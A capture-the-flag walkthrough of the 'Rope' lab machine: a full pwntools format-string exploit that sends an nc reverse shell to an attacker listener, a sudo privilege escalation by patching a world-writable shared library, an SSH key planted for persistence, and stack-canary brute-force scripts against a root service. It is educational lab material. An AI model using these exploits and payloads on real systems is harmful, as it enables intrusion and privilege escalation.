payload = 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==|base64 -d|bash'

Now the payload contains spaces, which will separate the request method from the requested resource. This won’t work, since we need all of the payload to be within the request method. In order to prevent spaces, we can use the internal field separator:

payload = payload.replace(' ', '${IFS}')
io.send(payload+' '+fmt+'\r\n\r\n')

If we now listen on port 7001 and trigger our python script against the server, we successfully receive a reverse shell:

root@kali:~/htb/boxes/rope# ./expl.py 
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] img_base : 0x565ec000
[*] libc_base: 0xf7cff000
[*] Closed connection to 10.10.10.148 port 9999
[*] puts_got : 0x565f1048
[*] system   : 0xf7d3bd10
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
root@kali:~/htb/boxes/rope/loot# nc -lvp 7001
listening on [any] 7001 ...
10.10.10.148: inverse host lookup failed: Unknown host
connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 35190
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

Here is the full python script:

#!/usr/bin/env python

from pwn import *

debug = False

rhost = '10.10.10.148'
rport = 9999
lhost = '10.10.12.95'
lport = 7001
if (debug): rhost = '127.0.0.1'

# leak image and libc base
io = remote(rhost, rport)
io.send('GET ../../../../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n')
maps = io.recvuntil('[stack]').split('\n')
img_base  = int(maps[6].split('-')[0], 16) # 7th line contains image base
libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base
log.info('img_base : ' + hex(img_base))
log.info('libc_base: ' + hex(libc_base))
io.close()

# calculate addresses
puts_got = img_base + 0x5048 # live server
system   = libc_base + 0x3cd10 # live server
if (debug): system   = libc_base + 0x423d0 # local
log.info('puts_got : ' + hex(puts_got))
log.info('system   : ' + hex(system))

# craft format string
system_lword = system & 0xffff
system_hword = system >> 16
fmt  = p32(puts_got)
fmt += p32(puts_got+2)
fmt += '%25'+str(system_lword-8)+'x'
fmt += '%2553$hn'
fmt += '%25'+str(system_hword-system_lword)+'x'
fmt += '%2554$hn'
io = remote(rhost, rport)
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+lhost+' '+str(lport)+' >/tmp/f'
payload = 'echo '+cmd.encode('base64').replace('\n','')+'|base64 -d|bash'
payload = payload.replace(' ', '${IFS}')
io.send(payload+' '+fmt+'\r\n\r\n')
io.close()

Escalating from john to r4j (readlogs)

Let’s start by elavating our shell to a TTY. python cannot be found, though python3 is available:

$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$ 

If python would not be present at all we could use script -q /dev/null to get a TTY.

By pressing CTRL+Z and entering stty raw -echo followed by fg we get a fully interactive shell.

Before running a script like LinEnum I usually tend to dig around a little bit manually first. The home directory of our current user john doesn’t seem to contain something useful:

john@rope:/home/john$ ls -al
total 28
drwxrwx--- 4 john john 4096 Aug  5 08:50 .
drwxr-xr-x 4 root root 4096 Jun 19 15:08 ..
lrwxrwxrwx 1 john john    9 Jun 19 17:16 .bash_history -> /dev/null
-rwxrwx--- 1 john john  220 Jun 19 15:08 .bash_logout
-rwxrwx--- 1 john john 3771 Jun 19 15:08 .bashrc
drwx------ 2 john john 4096 Aug  5 08:50 .cache
drwx------ 3 john john 4096 Aug  5 08:50 .gnupg
-rwxrwx--- 1 john john  807 Jun 19 15:08 .profile

By reading the /etc/passwd file through the web server we have already seen that there is another user called r4j:

john@rope:/home/john$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash

The command sudo -l reveals that we can run the program /usr/bin/readlogs as r4j:

john@rope:/home/john$ sudo -l
Matching Defaults entries for john on rope:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on rope:
    (r4j) NOPASSWD: /usr/bin/readlogs

readlogs seems to be a custom ELF binary:

john@rope:/home/john$ ls -al /usr/bin/readlogs
-rwxr-xr-x 1 root root 8288 Jun 19 18:54 /usr/bin/readlogs
john@rope:/home/john$ file /usr/bin/readlogs
/usr/bin/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped

Let’s analyze the file on our own local machine. For a small file like this, we can simply copy&paste the base64 encoded file.

Victim machine:

john@rope:/home/john$ md5sum /usr/bin/readlogs
198666187caa04ddc5f4def892d1714a  /usr/bin/readlogs
john@rope:/home/john$ base64 /usr/bin/readlogs
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAQAUAAAAAAABAAAAAAAAAACAZAAAAAAAAAAAAAEAAOAAJ
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA
AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
...

... copy ...

Attacker machine:

root@kali:~/htb/boxes/rope/loot# vi readlogs.b64
... paste ...
root@kali:~/htb/boxes/rope/loot# base64 -d readlogs.b64 > readlogs
root@kali:~/htb/boxes/rope/loot# md5sum readlogs
198666187caa04ddc5f4def892d1714a  readlogs

By comparing the md5 checksums, we can verify that we correctly copied the file.

A quick glance at the file using radare2 shows, that there is only a main function within the binary:

root@kali:~/htb/boxes/rope/loot# r2 -A readlogs
[Invalid instruction of 16368 bytes at 0x124 entry0 (aa)
Invalid instruction of 16366 bytes at 0x124
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000540]> afl
0x00000000    6 292  -> 318  sym.imp.__libc_start_main
0x000004f8    3 23           sym._init
0x00000520    1 6            sym.imp.printlog
0x00000530    1 6            sub.__cxa_finalize_530
0x00000540    1 43           entry0
0x00000570    4 50   -> 40   sym.deregister_tm_clones
0x000005b0    4 66   -> 57   sym.register_tm_clones
0x00000600    5 58   -> 51   sym.__do_global_dtors_aux
0x00000640    1 10           entry.init0
0x0000064a    1 21           sym.main
0x00000660    3 101  -> 92   sym.__libc_csu_init
0x000006d0    1 2            sym.__libc_csu_fini
0x000006d4    1 9            sym._fini
[0x00000540]> pdf @ sym.main 
            ;-- main:
/ (fcn) sym.main 21
|   sym.main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 (0x55d)
|           0x0000064a      55             push rbp
|           0x0000064b      4889e5         mov rbp, rsp
|           0x0000064e      b800000000     mov eax, 0
|           0x00000653      e8c8feffff     call sym.imp.printlog
|           0x00000658      b800000000     mov eax, 0
|           0x0000065d      5d             pop rbp
\           0x0000065e      c3             ret
[0x00000540]>

The main function calls the imported function printlog. By running ldd we can see, that the binary is using a custom library called liblog.so, which probably implements this function:

john@rope:/home/john$ ldd /usr/bin/readlogs
	linux-vdso.so.1 (0x00007ffc52bbc000)
	liblog.so => /lib/x86_64-linux-gnu/liblog.so (0x00007f5b07148000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5b0693e000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f5b06f31000)

The library has the permissions 0777 on the victim machine and can thus be written by everyone:

john@rope:/home/john$ ls -al /lib/x86_64-linux-gnu/liblog.so
-rwxrwxrwx 1 root root 15984 Jun 19 19:06 /lib/x86_64-linux-gnu/liblog.so

This means that we can simply replace the library with our own one to execute arbitrary code as the user r4j by running readlogs with sudo.

At first let’s download the original library to our local machine. This time using nc:

Attacker machine:

root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 > liblog.so
listening on [any] 7002 ...

Victim machine:

john@rope:/home/john$ md5sum /lib/x86_64-linux-gnu/liblog.so
d0b1366af0ae4c6500feb303901f3136  /lib/x86_64-linux-gnu/liblog.so
john@rope:/home/john$ cat /lib/x86_64-linux-gnu/liblog.so | nc 10.10.12.95 7002

Attacker machine:

...
10.10.10.148: inverse host lookup failed: Unknown host
connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 40724
root@kali:~/htb/boxes/rope/loot# md5sum liblog.so 
d0b1366af0ae4c6500feb303901f3136  liblog.so

Using radare2 again, we can see that the printlog function simply calls system with the argument /usr/bin/tail -n10 /var/log/auth.log:

root@kali:~/htb/boxes/rope/loot# r2 -A liblog.so 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00001050]> afl
0x00001000    3 23           sym._init
0x00001030    1 6            sym.imp.system
0x00001040    1 6            sub.__cxa_finalize_1040
0x00001050    4 41   -> 34   entry0
0x00001080    4 57   -> 51   sym.register_tm_clones
0x000010c0    5 57   -> 50   sym.__do_global_dtors_aux
0x00001100    1 5            entry.init0
0x00001105    1 24           sym.printlog
0x00001120    1 9            sym._fini
[0x00001050]> pdf @ sym.printlog 
/ (fcn) sym.printlog 24
|   sym.printlog ();
|           0x00001105      55             push rbp
|           0x00001106      4889e5         mov rbp, rsp
|           0x00001109      488d3df00e00.  lea rdi, qword str.usr_bin_tail__n10__var_log_auth.log ; segment.LOAD2 ; 0x2000 ; "/usr/bin/tail -n10 /var/log/auth.log" ; const char *string
|           0x00001110      b800000000     mov eax, 0
|           0x00001115      e816ffffff     call sym.imp.system         ; int system(const char *string)
|           0x0000111a      90             nop
|           0x0000111b      5d             pop rbp
\           0x0000111c      c3             ret
[0x00001050]> 

In order to replace the library with our own one, we could compile a shared object ourself. Though it is even easier to simply patch the existing library to fit our needs. In order to do this, we create a copy of the library and open it with radare2 in write mode (-w):

root@kali:~/htb/boxes/rope/loot# cp liblog.so liblog_modified.so
root@kali:~/htb/boxes/rope/loot# r2 -Aw liblog_modified.so 
...

Now we patch the string passed to system with /bin/bash in order to spawn a shell instead of displaying the contents of /var/log/auth.log:

[0x00001050]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00002000 0x00002000  36  37 (.rodata) ascii /usr/bin/tail -n10 /var/log/auth.log

[0x00001050]> s 0x00002000
[0x00002000]> "wz /bin/bash"
[0x00002000]> 

At next we replace the library with our modified version. Beforehand we create a copy of the original liblog.so.

Attacker machine:

root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 < liblog_modified.so
listening on [any] 7002 ...

Victim machine:

john@rope:/home/john$ cp /lib/x86_64-linux-gnu/liblog.so /tmp
john@rope:/home/john$ nc 10.10.12.95 7002 > /lib/x86_64-linux-gnu/liblog.so

If we now run readlogs with sudo as the user r4j we get a shell as this user and can restore the original library:

john@rope:/home/john$ sudo -u r4j /usr/bin/readlogs
bash: /root/.bashrc: Permission denied
r4j@rope:/home/john$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
r4j@rope:/home/john$ cp /tmp/liblog.so /lib/x86_64-linux-gnu/liblog.so 

The home directory of r4j contains the user.txt file:

r4j@rope:/home/john$ cd ../r4j/
r4j@rope:/home/r4j$ ls -al
total 40
drwxrwx--- 5 r4j  r4j  4096 Oct 10 05:26 .
drwxr-xr-x 4 root root 4096 Jun 19 15:08 ..
lrwxrwxrwx 1 r4j  r4j     9 Jun 19 17:10 .bash_history -> /dev/null
-rwxrwx--- 1 r4j  r4j   220 Apr  4  2018 .bash_logout
-rwxrwx--- 1 r4j  r4j  3771 Apr  4  2018 .bashrc
drwxrwx--- 2 r4j  r4j  4096 Jun 19 15:06 .cache
drwxrwx--- 3 r4j  r4j  4096 Jun 19 15:06 .gnupg
-rwxrwx--- 1 r4j  r4j   807 Apr  4  2018 .profile
-rw-r--r-- 1 root root   66 Jun 19 19:03 .selected_editor
drwxr-xr-x 2 r4j  r4j  4096 Oct 10 05:26 .ssh
-rwxrwx--- 1 r4j  r4j     0 Jun 19 15:07 .sudo_as_admin_successful
-rw-r--r-- 1 root root   33 Jun 19 19:24 user.txt
r4j@rope:/home/r4j$ cat user.txt
deb9 ... (output truncated)

Root

Local Recon

In order to be able to login via SSH, let’s first create an RSA key and store the public key in the .ssh/authorized_keys file of r4j.

Attacker machine:

root@kali:~/htb/boxes/rope/loot# ssh-keygen -f id_rsa_r4j
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa_r4j.
Your public key has been saved in id_rsa_r4j.pub.
The key fingerprint is:
SHA256:DyUxUTXbKswz12Go8owT7jRcFFAKNcsI9YL8FwyTkoo root@kali
The key's randomart image is:
+---[RSA 3072]----+
|    .o=oB=+.o    |
|   .oo.O * . =   |
| . .o.o O o o +  |
|E .  . . B . + . |
|      . S O o .  |
|       + X =     |
|        B +      |
|       o o       |
|        .        |
+----[SHA256]-----+
root@kali:~/htb/boxes/rope/loot# cat id_rsa_r4j.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADA...
... copy ...

Victim machine:

r4j@rope:/home/r4j$ mkdir .ssh
r4j@rope:/home/r4j$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADA ... paste ...' > .ssh/authorized_keys

Now we can login via SSH:

root@kali:~/htb/boxes/rope/loot# ssh -i id_rsa_r4j r4j@10.10.10.148
The authenticity of host '10.10.10.148 (10.10.10.148)' can't be established.
ECDSA key fingerprint is SHA256:uCguytQ5iFizo89a8JaW34JkqSy6n1fPOmycil6onkc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.148' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct 10 05:27:00 UTC 2019

  System load:  0.03               Processes:            177
  Usage of /:   28.5% of 14.70GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.148
  Swap usage:   0%


152 packages can be updated.
72 updates are security updates.


Last login: Thu Jun 20 07:30:04 2019 from 192.168.2.106
r4j@rope:~$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)

As previously mentioned we could now run an enumeration script with the new gained privileges as user r4j, though I will skip this here and walk right away to the the necessary findings.

The thing to notice is that there is a service listening on localhost port 1337:

r4j@rope:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

When connecting to the service, it will prompt us to enter a message to the admin:

r4j@rope:~$ nc 0 1337
Please enter the message you want to send to admin:
test
Done.

The folder /opt, which also contained the httpserver we exploited earlier, contains another folder called support, which we are now able to read since r4j is a member of the group adm:

r4j@rope:/opt$ ls -al
total 20
drwxr-xr-x  5 root root 4096 Jun 20 06:19 .
drwxr-xr-x 25 root root 4096 Jun 19 16:25 ..
drwx------  2 root root 4096 Jun 19 19:06 run
drwxr-x---  2 root adm  4096 Jun 19 16:11 support
drwxr-xr-x  7 root root 4096 Jun 20 07:27 www

This folder contains another binary called contact:

r4j@rope:/opt$ cd support/
r4j@rope:/opt/support$ ls -al
total 24
drwxr-x--- 2 root adm   4096 Jun 19 16:11 .
drwxr-xr-x 5 root root  4096 Jun 20 06:19 ..
-rwxr-x--- 1 root adm  14632 Jun 19 15:48 contact
r4j@rope:/opt/support$ file contact 
contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped

Obviously this is the binary running on port 1337 with root privileges:

r4j@rope:/opt/support$ ps aux | grep contact
root      1145  0.0  0.0   4628   920 ?        Ss   04:05   0:00 /bin/sh -c /opt/support/contact
root      1148  0.0  0.0   4516   740 ?        S    04:05   0:00 /opt/support/contact
root      1885  0.0  0.0   4516    80 ?        S    05:25   0:00 /opt/support/contact
r4j       2199  0.0  0.0  13136  1076 pts/1    S+   06:10   0:00 grep --color=auto contact

contact

So let’s download the binary to our local machine in order to analyze it:

root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/opt/support/contact .
contact                                                      100%   14KB 628.6KB/s   00:00 

The enabled security options are the same as on httpserver. The only difference is that we are now facing a 64-bit binary:

root@kali:~/htb/boxes/rope/loot# checksec contact
[*] '/root/htb/boxes/rope/loot/contact'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The binary is big enough to start up ghidra. Notice that it is stripped and thus there is no function called main. Though we can easily find the main function by selecting the entry function (left side). The first parameter passed to __libc_start_main is the main function:

So basically the progam is accepting connections on port 1337 in an infinite loop. A new connection is handled by a forked child process, which displays the message we have already seen:

Within the function getMessage (I renamed it) 0x400 bytes are read from the socket connection:

According to the decompiled code the buffer in which the 0x400 bytes are read (local_48) has only 56 elements. Within the disassembly output we can see that within the function prologue indeed only 0x50 bytes are reserved on the stack:

The buffer only being 56 bytes large makes it definitely vulnerable to a stack overflow.

Let’s quickly verify this on our local machine:

root@kali:~/htb/boxes/rope/loot# python -c 'print("A"*256)'|nc 0 1337
Please enter the message you want to send to admin:

...

root@kali:~/htb/boxes/rope/loot# ./contact 
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 0
*** stack smashing detected ***: <unknown> terminated

The program crashed because the stack canary has been overwritten. To further analyze the vulnerability we can attach gdb to the running process like we did before with httpserver. Remember to disable ASLR beforehand, so it will be more easier as the address will stay the same:

root@kali:~/htb/boxes/rope/loot# echo 0 > /proc/sys/kernel/randomize_va_space
root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact)
...

This time the binary is stripped so we don’t have any symbols. In order to disassemble the vulnerable function in gdb we can lookup the image base (i proc mappings) and add the offset of the function to it (the offset can for example be seen in ghidra):

gdb-peda$ i proc mappings
process 3757
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /root/htb/boxes/rope/loot/contact
...
gdb-peda$ x/20i (0x555555554000+0x159a)
   0x55555555559a:	push   rbp
   0x55555555559b:	mov    rbp,rsp
   0x55555555559e:	sub    rsp,0x50
   0x5555555555a2:	mov    DWORD PTR [rbp-0x44],edi
   0x5555555555a5:	mov    rax,QWORD PTR fs:0x28
   0x5555555555ae:	mov    QWORD PTR [rbp-0x8],rax
   0x5555555555b2:	xor    eax,eax
   0x5555555555b4:	lea    rsi,[rbp-0x40]
   0x5555555555b8:	mov    eax,DWORD PTR [rbp-0x44]
   0x5555555555bb:	mov    ecx,0x0
   0x5555555555c0:	mov    edx,0x400
   0x5555555555c5:	mov    edi,eax
   0x5555555555c7:	call   0x555555555030 <recv@plt>
   0x5555555555cc:	nop
   0x5555555555cd:	mov    rdx,QWORD PTR [rbp-0x8]
   0x5555555555d1:	xor    rdx,QWORD PTR fs:0x28
   0x5555555555da:	je     0x5555555555e1
   0x5555555555dc:	call   0x555555555070 <__stack_chk_fail@plt>
   0x5555555555e1:	leave  
   0x5555555555e2:	ret   

The second instruction after the recv call loads the saved canary from the stack:

   0x5555555555cd:	mov    rdx,QWORD PTR [rbp-0x8]

Let’s set a breakpoint here …

gdb-peda$ b *0x5555555555cd
Breakpoint 1 at 0x5555555555cd
gdb-peda$ c
Continuing.

… and send a pattern to the process:

root@kali:~/htb/boxes/rope/loot# python -c 'from pwn import *;print(cyclic(256))'|nc 0 1337
Please enter the message you want to send to admin:

The breakpoint is hit and we can determine which value will be moved to rdx as the saved canary:

...
[-------------------------------------code-------------------------------------]
   0x5555555555c5:	mov    edi,eax
   0x5555555555c7:	call   0x555555555030 <recv@plt>
   0x5555555555cc:	nop
=> 0x5555555555cd:	mov    rdx,QWORD PTR [rbp-0x8]
   0x5555555555d1:	xor    rdx,QWORD PTR fs:0x28
   0x5555555555da:	je     0x5555555555e1
   0x5555555555dc:	call   0x555555555070 <__stack_chk_fail@plt>
   0x5555555555e1:	leave
...
Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555cd in ?? ()
gdb-peda$ x/s $rbp-0x8
0x7fffffffe138:	"oaaapaaaqaaar"...

Accordingly the offset to the saved canary is 56:

root@kali:~/htb/boxes/rope/loot# python
...
>>> from pwn import *
>>> cyclic(256).index("oaaapaaaqaaa")
56

Bruteforce

In order to reach the ret instruction at the end of the function and return to an arbitrary address we overwrote the return address with, we have to preserve the canary. Luckily the program will fork a new process on every connection and the stack canary will stay the same for all forks. This means that we can bruteforce the canary byte-by-byte. As it would be totally impratical to bruteforce a 56-bit canary (the lowest byte is always 0x00) at once (2^56 = 72.057.594.037.927.936), it is quite acceptable to bruteforce it byte-by-byte (256+256+.. = 256*7 = 1.792).

To bruteforce the canary we send 56 arbitrary bytes (buffer) + 0x00 (lowest byte of canary) + our guess for the second byte of the canary. If we successfully found the second byte, we proceed with the third and so forth.

There is only one question yet. How can we determine if we chose the right value for the canary byte? Luckily the program is built quite suitable for this. If the stack canary in the vulnerable function (I renamed it to getMessage()) is destroyed, the program will exit immediately. Otherwise the function returns gracefully and the message "Done." is send to the socket connection:

This means that we can determine if we found the right byte for the canary by watching for the message "Done.". The following python script bruteforces the canary:

root@kali:~/htb/boxes/rope# cat bruteCanary.py 
#!/usr/bin/env python

from pwn import *

context.log_level = 21 # disable connection log

rhost = '127.0.0.1'
rport = 1337

canary = '\x00'
expl  = 'A' * 56

while (len(canary) < 8):
  for i in range(256):
    fail = False
    io = remote(rhost, rport)
    io.send(expl+canary+chr(i))
    try:
      r = io.recvuntil('Done.\n', timeout=1.0)
      if (len(r) == 0): fail = True # timeout
    except: fail = True # EOF
    io.close()
    if (fail):
      if (i == 255):
        print('bruteforcing failed')
        quit()
      continue
    print('found canary byte: ' + hex(i))
    canary += chr(i)
    io.close()
    break

print('canary fully bruteforced: ' + canary.encode('hex'))

Running the script locally quickly reveals the canary:

root@kali:~/htb/boxes/rope# ./bruteCanary.py 
found canary byte: 0xee
found canary byte: 0x3a
found canary byte: 0x20
found canary byte: 0x68
found canary byte: 0x9e
found canary byte: 0xca
found canary byte: 0x19
canary fully bruteforced: 00ee3a20689eca19

Since we know the value of the canary now, let’s verify that we can control the instruction pointer by overwriting the return address.

In order to do this, we attach to the running process and set a breakpoint at the ret instruction:

root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact)
...
gdb-peda$ x/20i (0x555555554000+0x159a)
...
   0x5555555555c7:	call   0x555555555030 <recv@plt>
   0x5555555555cc:	nop
   0x5555555555cd:	mov    rdx,QWORD PTR [rbp-0x8]
   0x5555555555d1:	xor    rdx,QWORD PTR fs:0x28
   0x5555555555da:	je     0x5555555555e1
   0x5555555555dc:	call   0x555555555070 <__stack_chk_fail@plt>
   0x5555555555e1:	leave  
   0x5555555555e2:	ret    
gdb-peda$ b *0x5555555555e2
Breakpoint 1 at 0x5555555555e2
gdb-peda$ c

Now we use the following script to overwrite the canary with the original value and set the return address to 0xdeadbeefdeadbeef:

root@kali:~/htb/boxes/rope# cat expl_test.py 
#!/usr/bin/env python

from pwn import *

rhost = '127.0.0.1'
rport = 1337

io = remote(rhost, rport)

# canary bruteforced beforehand
canary   = '00ee3a20689eca19'.decode('hex')
rbp      = p64(0)
ret_addr = p64(0xdeadbeefdeadbeef)

expl = 'A' * 56
io.send(expl+canary+rbp+ret_addr)
io.interactive()

When running the script, the breakpoint is hit:

root@kali:~/htb/boxes/rope# ./expl_test.py 
[+] Opening connection to 127.0.0.1 on port 1337: Done
...

[----------------------------------registers-----------------------------------]
RAX: 0x50 ('P')
RBX: 0x0 
RCX: 0x7ffff7ef061d (<__libc_recv+29>:	cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7fffffffe100 ('A' <repeats 56 times>)
RDI: 0x4 
RBP: 0x0 
RSP: 0x7fffffffe148 --> 0xdeadbeefdeadbeef 
RIP: 0x5555555555e2 (ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x555555555180 (xor    ebp,ebp)
R13: 0x7fffffffe2b0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555555da:	je     0x5555555555e1
   0x5555555555dc:	call   0x555555555070 <__stack_chk_fail@plt>
   0x5555555555e1:	leave  
=> 0x5555555555e2:	ret    
   0x5555555555e3:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x5555555555ed:	nop    DWORD PTR [rax]
   0x5555555555f0:	push   r15
   0x5555555555f2:	mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe148 --> 0xdeadbeefdeadbeef 
0008| 0x7fffffffe150 --> 0x0 
0016| 0x7fffffffe158 --> 0x400000000 
0024| 0x7fffffffe160 --> 0x0 
0032| 0x7fffffffe168 --> 0x19ca9e68203aee00 
0040| 0x7fffffffe170 --> 0x7fffffffe1d0 --> 0x5555555555f0 (push   r15)
0048| 0x7fffffffe178 --> 0x5555555554cf (mov    DWORD PTR [rbp-0x24],eax)
0056| 0x7fffffffe180 --> 0x7fffffffe2b8 --> 0x7fffffffe581 ("./contact")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555e2 in ?? ()
gdb-peda$ 

As we can see, the top element on the stack, which is the return address, has successfully been overwritten with the value 0xdeadbeefdeadbeef. If we continue the execution we get a segmentation fault, since the ret instruction pops this value into the instruction pointer. Accordingly we succeeded in controlling the instruction pointer.

We can control the instruction pointer, but where should we jump to? We don’t know any address since ASLR is enabled and the binary was compiled with PIE as we already figured out:

root@kali:~/htb/boxes/rope/loot# checksec contact
...
    PIE:      PIE enabled

Accordingly we need a leak first. In order to get this leak, we can simply carry on with our bruteforce approach. The next byte after the canary is the first byte of the saved rbp:

[canary][saved rbp][return address]

If we overwrite this byte with a value different from the original value, the program is likely to crash since we corrupted the saved rbp. When the program crashes, it won’t print out the message "Done." and we can thus suppose that the value we wrote is not the original value just like we did with the canary. By bruteforcing another 16 bytes we can determine the values of the saved rbp as well as the return address. So let’s adjust the former bruteforce script a little bit:

root@kali:~/htb/boxes/rope# cat bruteAll.py 
#!/usr/bin/env python

from pwn import *

context.log_level = 21 # disable connection log

rhost = '127.0.0.1'
rport = 1337

brute_str = '\x00'
expl  = 'A' * 56

while (len(brute_str) < 24):
  for i in range(256):
    fail = False
    io = remote(rhost, rport)
    io.send(expl+brute_str+chr(i))
    try:
      r = io.recvuntil('Done.\n', timeout=1.0)
      if (len(r) == 0): fail = True # timeout
    except: fail = True # EOF
    io.close()
    if (fail):
      if (i == 255):
        print('bruteforcing failed')
        quit()
      continue
    print('found byte: ' + hex(i))
    brute_str += chr(i)
    io.close()
    break

u = make_unpacker(64, endian='little', sign='unsigned')
canary   = u(brute_str[:8])
rbp      = u(brute_str[8:16])
ret_addr = u(brute_str[16:])

print('canary  : ' + hex(canary))
print('rbp     : ' + hex(rbp))
print('ret_addr: ' + hex(ret_addr))

Notice that I added a timeout in the io.recvuntil call, since the script might hang otherwise (this probably happens if we overwrite to return address with a value which makes the program not correctly terminating the socket connection). Running the script additionally yields the saved rbp and return address:

root@kali:~/htb/boxes/rope# ./bruteAll.py 
found byte: 0xee
found byte: 0x3a
found byte: 0x20
found byte: 0x68
found byte: 0x9e
found byte: 0xca
found byte: 0x19
found byte: 0x10
found byte: 0xe1
found byte: 0xff
found byte: 0xff
found byte: 0xff
found byte: 0x7f
found byte: 0x0
found byte: 0x0
found byte: 0x13
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x55
found byte: 0x0
found byte: 0x0
canary  : 0x19ca9e68203aee00
s_rbp   : 0x7fffffffe110
ret_addr: 0x555555555513

The bruteforced return address is a little bit different from the original return address, which can be inspected using gdb: 0x555555555562. The reason for this is that the address we bruteforced (0x555555555513) is smaller than the original value, but did also point to a sequence of instructions, which send the message "Done.". This doesn’t really matter since the 3 least significant nibbles (4 bit) are not altered by ASLR and we can assume that we landed somewhere in the sending function, which offset ranges from 0x14ee to 0x1599. Accordingly we landed at offset 0x1513 of that function, which makes the image base address equal to 0x555555555513 - 0x1513 = 0x555555554000. Of course we know that is correct, since we turned off ASLR on our machine, but now we are able to successfully leak the image base address even if ASLR is turned on.

Libc Leak

